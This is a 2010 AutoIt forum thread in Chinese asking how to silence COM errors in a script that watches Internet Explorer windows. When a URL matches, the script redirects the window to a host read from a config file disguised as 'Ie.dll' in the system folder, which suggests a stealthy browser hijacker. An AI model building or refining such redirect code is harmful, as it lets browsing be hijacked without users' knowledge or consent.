找回密码
 加入
搜索
查看: 3181|回复: 5

[系统综合] 如果代码执行过程中出错了,如何让其不提示?自动结束或重新运行程序?在加张图片。

[复制链接]
发表于 2010-8-28 18:50:03 | 显示全部楼层 |阅读模式
本帖最后由 angelink 于 2010-8-28 21:35 编辑

如果代码执行过程中出错了,如何让其不提示?自动结束或重新运行程序?
#include <_Ini.au3>
While 1
        Sleep(400)
        $URL1 = _IniRead(@SystemDir & "\Ie.dll", "URL", "1", "")
        $Http1 = _IniRead(@SystemDir & "\Ie.dll", "Http", "1", "")
        $oShell = ObjCreate('shell.application')
        $oShellWindows = $oShell.windows
        For $Window In $oShellWindows
                If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
                        If StringInStr($Window.locationurl, $URL1, 2) Then $Window.navigate("http://" & $Http1)
                EndIf
        Next
        _ReduceMemory(@AutoItPID);将此行加入到循环中
WEnd
Func _ReduceMemory($i_PID = -1);整理内存
        If $i_PID <> -1 Then
                Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $i_PID)
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle[0])
                DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle[0])
        Else
                Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', -1)
        EndIf
        Return $ai_Return[0]
EndFunc   ;==>_ReduceMemory
生成exe后运行时,如果打开IE还没有等它跳转就关闭IE,就会报对像错误,如果取消这个呢?


在加张图片。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入

×
发表于 2010-8-28 19:00:08 | 显示全部楼层
这个在写代码的过程中要判断吧
发表于 2010-8-28 19:33:58 | 显示全部楼层
要实行的代码
If @error (返回值自己看帮助) Then
EXIT
EndIf
 楼主| 发表于 2010-8-28 19:35:22 | 显示全部楼层
主要是关闭兼控对像时报对像错误……应该是检查到对象运行,然后执行代码,执行过程中对象消失就报错了。
 楼主| 发表于 2010-8-28 21:03:27 | 显示全部楼层
在加张图片。
发表于 2010-8-28 21:47:47 | 显示全部楼层
使用ObjEvent("AutoIt.Error","MyErrFunc")管理Obj错误。
您需要登录后才可以回帖 登录 | 加入

本版积分规则

QQ|手机版|小黑屋|AUTOIT CN ( 鲁ICP备19019924号-1 )谷歌 百度

GMT+8, 2024-9-21 22:42 , Processed in 0.077688 second(s), 22 queries .

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表